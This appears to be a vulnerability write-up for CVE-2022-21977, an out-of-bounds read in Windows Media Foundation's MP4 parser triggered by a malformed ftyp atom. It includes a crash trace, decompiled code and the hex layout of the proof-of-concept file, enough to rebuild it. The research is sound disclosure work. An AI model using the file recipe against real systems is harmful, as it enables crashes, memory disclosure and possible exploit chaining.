CVE-2022-21977

8 minute read

Microsoft Media Foundation Unchecked Size Vulnerability (mfmp4srcsnk.dll)

Summary

A vulnerability is present in mfmp4srcsnk.dll, which is part of the Microsoft Media Foundation framework. An Out-of-Bounds (OOB) read is triggered due to a an incorrect size field in a malformed ftyp atom.

The vulnerability can be triggered by right-clicking on the file poc.mp4 in Windows Explorer with Page Heap enabled on explorer.exe.

CVE Number

CVE-2022-21977

Tested Versions

Software Version
Windows 10 - Media Foundation MPEG-4 Source and Sink DLL 10.0.19041.1202 (WinBuild 19043.1288)

Technical Details

The following analysis was done on Product Version 10.0.19041.1202 of mfmp4srcsnk.dll.

Crash details

The crash occurs in mfmp4srcsnk.dll:

(3640.32ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0x12f:
00007ffc`b5c0367f 458b2f          mov     r13d,dword ptr [r15] ds:000002c3`872a5000=????????
0:000> k
 # Child-SP          RetAddr               Call Site
00 000000c6`3b3ce360 00007ffc`b5c20a90     mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0x12f
01 000000c6`3b3ce3e0 00007ffc`b5c17f5e     mfmp4srcsnk!CQTMovie::GetFileTypeInfo+0x1cc
02 000000c6`3b3ce4a0 00007ffc`b5c211ab     mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x116
03 000000c6`3b3ce590 00007ffc`b5c22ecf     mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x83
04 000000c6`3b3ce600 00007ffc`b5c2ab9d     mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0xff
05 000000c6`3b3ce6b0 00007ffc`fc573327     mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x13d
06 000000c6`3b3ce730 00007ffc`fc573ba7     windows_storage!InitializeFileHandlerWithStream+0x177
07 000000c6`3b3ce800 00007ffc`fc572da5     windows_storage!CFileSysItemString::HandlerCreateInstance+0x2e3
08 000000c6`3b3ce8f0 00007ffc`fc5925bc     windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0xad
09 000000c6`3b3ce9a0 00007ffc`fc612565     windows_storage!CFileSysItemString::LoadHandler+0x1a4
0a 000000c6`3b3ceaf0 00007ffc`fc5a7f29     windows_storage!CFSFolder::LoadHandler+0xd5
0b 000000c6`3b3cee50 00007ffc`fc5a97d1     windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x165
0c 000000c6`3b3cef20 00007ffc`fc5a95b2     windows_storage!CFSPropertyStoreFactory::_GetPropertyStore+0x211
0d 000000c6`3b3cf010 00007ffc`fc588da4     windows_storage!CFSPropertyStoreFactory::GetPropertyStore+0x22
0e 000000c6`3b3cf050 00007ffc`fc58a48f     windows_storage!CShellItem::_GetPropertyStoreWorker+0x374
0f 000000c6`3b3cf590 00007ffd`0071a4ab     windows_storage!CShellItem::GetPropertyStore+0xcf
10 000000c6`3b3cf860 00007ff7`8b3411b8     SHELL32!SHGetPropertyStoreFromParsingName+0x5b
11 000000c6`3b3cf8d0 00007ff7`8b34111b     harness!fuzzme+0x38
12 000000c6`3b3cf920 00007ff7`8b3415e0     harness!wmain+0x11b
13 000000c6`3b3cfb80 00007ffc`ff7c7034     harness!fuzzme+0x460
14 000000c6`3b3cfbc0 00007ffd`00d22651     KERNEL32!BaseThreadInitThunk+0x14
15 000000c6`3b3cfbf0 00000000`00000000     ntdll!RtlUserThreadStart+0x21
0:000> !ext.heap -p -a 000002c3`872a5000
    address 000002c3872a5000 found in
    _DPH_HEAP_ROOT @ 2c3871c1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             2c3871c3820:      2c3872a4f00              100 -      2c3872a4000             2000
    00007ffd00dc867b ntdll!RtlDebugAllocateHeap+0x000000000000003b
    00007ffd00cfd255 ntdll!RtlpAllocateHeap+0x00000000000000f5
    00007ffd00cfb44d ntdll!RtlpAllocateHeapInternal+0x0000000000000a2d
    00007ffcff889d40 msvcrt!malloc+0x0000000000000070
    00007ffcf6d2b247 MFPlat!operator new+0x0000000000000023
    00007ffcf6d129d6 MFPlat!MFCreateMemoryBuffer+0x0000000000000056
    00007ffcb5c17ef2 mfmp4srcsnk!CMFMP4PropertyHandler::LocateHeader+0x00000000000000aa
    00007ffcb5c211ab mfmp4srcsnk!CMFMP4PropertyHandler::LoadMetadataProvider+0x0000000000000083
    00007ffcb5c22ecf mfmp4srcsnk!CMFMP4PropertyHandler::InternalInitialize+0x00000000000000ff
    00007ffcb5c2ab9d mfmp4srcsnk!CMFPropHandlerBase::Initialize+0x000000000000013d
    00007ffcfc573327 windows_storage!InitializeFileHandlerWithStream+0x0000000000000177
    00007ffcfc573ba7 windows_storage!CFileSysItemString::HandlerCreateInstance+0x00000000000002e3
    00007ffcfc572da5 windows_storage!CFileSysItemString::_PropertyHandlerCreateInstance+0x00000000000000ad
    00007ffcfc5925bc windows_storage!CFileSysItemString::LoadHandler+0x00000000000001a4
    00007ffcfc612565 windows_storage!CFSFolder::LoadHandler+0x00000000000000d5
    00007ffcfc5a7f29 windows_storage!CFSPropertyStoreFactory::_GetFileStore+0x0000000000000165
    00007ffcfc5a97d1 windows_storage!CFSPropertyStoreFactory::_GetPropertyStore+0x0000000000000211
    00007ffcfc5a95b2 windows_storage!CFSPropertyStoreFactory::GetPropertyStore+0x0000000000000022
    00007ffcfc588da4 windows_storage!CShellItem::_GetPropertyStoreWorker+0x0000000000000374
    00007ffcfc58a48f windows_storage!CShellItem::GetPropertyStore+0x00000000000000cf
    00007ffd0071a4ab SHELL32!SHGetPropertyStoreFromParsingName+0x000000000000005b
    00007ff78b3411b8 harness!fuzzme+0x0000000000000038
    00007ff78b34111b harness!wmain+0x000000000000011b
    00007ff78b3415e0 harness!fuzzme+0x0000000000000460
    00007ffcff7c7034 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007ffd00d22651 ntdll!RtlUserThreadStart+0x0000000000000021

@r15 points to an invalid region on the heap.

A Primer on MP4 FileType atoms

As seen from here, a FileType atom usually looks like this:

00 00 00 1C | 66 74 79 70 | 4D 34 56 20 | 00 00 02 00    ....ftypM4V ....
69 73 6F 6D | 69 73 6F 32 | 61 76 63 31 |                isomiso2avc1

It contains the following fields:

  • Size (4 bytes) - A 32-bit size of the atom, set to 0x1c
  • Atom Type (4 bytes) - Fourcc code of the atom, set to ftyp
  • Major Brand (4 bytes) - The movie file type, set to M4V
  • Minor Verion (4 bytes) - The movie file type minor version, a binary coded decimal, set to 0x200
  • Compatible Brands (4 bytes each) - 4 byte strings of compatible file formats, set to isom, iso2, avc1

However, as seen from this website, when size is set to 0x1, the actual atom size is stored in the next 8 bytes after atom type, known as the extended size field. This exists to cater for atoms with a 64-bit size. For example:

00 00 00 01 | 66 74 79 70 | 00 00 00 01 FF FF FF FF     ....ftyp....ÿÿÿÿ
4D 34 56 20 | 00 00 02 00 | 69 73 6F 6D | 69 73 6F 32   M4V ....isomiso2
61 76 63 31 |                                           avc1

It contains the following fields:

  • Size (4 bytes) - A 32-bit size of the atom, set to 0x1
  • Atom Type (4 bytes) - Fourcc code of the atom, set to ftyp
  • Extended Size (8 bytes) - The actual 64-bit size of the atom, set to 0x1ffffffff
  • Major Brand (4 bytes) - The movie file type, set to M4V
  • Minor Verion (4 bytes) - The movie file type minor version, a binary coded decimal, set to 0x200
  • Compatible Brands (4 bytes each) - 4-byte strings of compatible file formats, set to isom, iso2, avc1

The first 16 bytes of poc.mp4, which has the same structure, is as shown:

00 00 00 01 | 66 74 79 70 | 00 00 00 00 00 00 00 FF

This represents a malformed FileType atom which contains the following fields:

  • Size (4 bytes) - A 32-bit size of the atom, set to 0x1
  • Atom Type (4 bytes) - Fourcc code of the atom, set to ftyp
  • Extended Size (8 bytes) - The actual 64-bit size of the atom, set to 0xff

240 bytes containing 0x30 are appended to poc.mp4 to fulfil the minimum valid file size of 256 bytes.

Vulnerability Analysis

At CQTMovie::GetFileTypeInfo+0x17a (mfmp4srcsnk.dll+0000000000040A3E), a fileTypeAtom is created, which is a CQTFileTypeAtom struct. Subsequently, it is then passed as arguments to CQTAtom::InitializeAtom and CQTFileTypeAtom::ParseAtom.

ptr = operator new(0xD0);
if ( ptr )
  fileTypeAtom = CQTFileTypeAtom::CQTFileTypeAtom(ptr);
else
  fileTypeAtom = 0i64;

if ( fileTypeAtom ) {
  FileTypeInfo = CQTAtom::InitializeAtom(v46, 0, fileTypeAtom);
  if ( FileTypeInfo < 0 ) {
    // Irrelevant Code
  } else {
    FileTypeInfo = fileTypeAtom->vtable->CQTFileTypeAtom::ParseAtom(fileTypeAtom);
    // Irrelevant Code
  }
}

At CQTAtom::InitializeAtom+0x11e (mfmp4srcsnk.dll+000000000003CADE), atomSize is set to 0xff:

atomSize = _byteswap_ulong(dataBuffer[i]));         // Read "size" field, atomSize = 0x1
fourcc = _byteswap_ulong(dataBuffer[i+4]);          // Read "atom type" field, fourcc = "ftyp"
if ( atomSize != 1 )                                // Check is skipped as atomSize == 1
  goto LABEL_14;

// Irrelevant Code

atomSize = _byteswap_uint64(dataBuffer[i+8]);       // Read "extended size" field, atomSize = 0xff

At CQTAtom::InitializeAtom+0x1b1 (mfmp4srcsnk.dll+000000000003CB71), variables atomSize and fourcc are assigned to the fileTypeAtom struct for later use:

fileTypeAtom->atomSize = atomSize;
fileTypeAtom->fourcc = fourcc;

After fileTypeAtom is initialized, it is then passed to CQTFileTypeAtom::ParseAtom for parsing atom data.

At CQTFileTypeAtom::ParseAtom+0xc6 (mfmp4srcsnk.dll+0000000000023616), the code is as shown:

compatibleBrands_len = atomSize - 16;                                  // compatibleBrands_len = 0xff - 16 = 239
atomData_ptr = this->vtable->CQTAtom::GetAtomContentsDataPtr(this);    // atomData_ptr points to "Major Brand" field

CQTAtom::GetAtomContentsDataPtr is called , which returns a pointer to the raw bytes of poc.mp4 without its size, atom type and extended size fields.

mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0xe0:
00007ffc`b5c03630 448b742440      mov     r14d,dword ptr [rsp+40h] ss:000000e8`1b8fe680=000000f7
0:000> db @rax L100
0000023e`86164f10  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f20  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f30  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f40  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f50  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f60  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f70  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f80  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f90  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fa0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fb0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fc0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fd0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fe0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164ff0  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86165000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

It then reads in the major brand and minor version fields and stores them in fileTypeAtom struct. atomData_ptr is then made to point at the compatible brands field by incrementing it by 2 to skip over 8 bytes:

this->majorBrand = _byteswap_ulong(*atomData_ptr);

minorVersion = atomData_ptr[1];
minorVersion = _byteswap_ulong(minorVersion);
this->minorVersion = minorVersion;

atomData_ptr += 2;

As compatible brands is stored as four character strings, data is read 4 bytes at a time from atomData_ptr and stored into the fileTypeAtom->buf_CB buffer in a loop:

n = compatibleBrands_len >> 2;                                         // n = 239 >> 2 = 59
if ( n >= 0xFF )                                                       // Check is skipped as n < 0xff
  n = 0xFF;

if ( n ) {
  for (i = 0; i < n; i++)
    compatibleBrand_data = *atomData_ptr++;
    compatibleBrand_data = _byteswap_ulong(compatibleBrand_data);
    index_CB = this->index_CB;
    curNo_CB = index_CB + 1;

    // Irrelevant Code

    this->index_CB = curNo_CB;
    *&this->buf_CB[4 * index_CB] = compatibleBrand_data;
  }
}

However, the compatible brands field of poc.mp4 is only 216-bytes long, which is stored in the buffer at atomData_ptr:

0:000> g
Breakpoint 1 hit
mfmp4srcsnk!CQTFileTypeAtom::ParseAtom+0xf4:
00007ffc`b5c03640 4c8d7808       lea     r15, [rax+8]
0:000> db @r15 L100
0000023e`86164f18  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f28  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f38  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f48  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f58  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f68  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f78  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f88  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164f98  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fa8  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fb8  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fc8  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fd8  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164fe8  30 30 30 30 30 30 30 30-30 30 30 30 30 30 30 30  0000000000000000
0000023e`86164ff8  30 30 30 30 30 30 30 30-?? ?? ?? ?? ?? ?? ?? ??  00000000????????

As n = 59 in the loop, the program attempts to read in 236 bytes, causing an OOB read of 20 bytes.

Conclusion

This vulnerability could lead to information disclosure of data in memory. When chained with other vulnerabilities, it could result in code execution.

Categories:

Updated: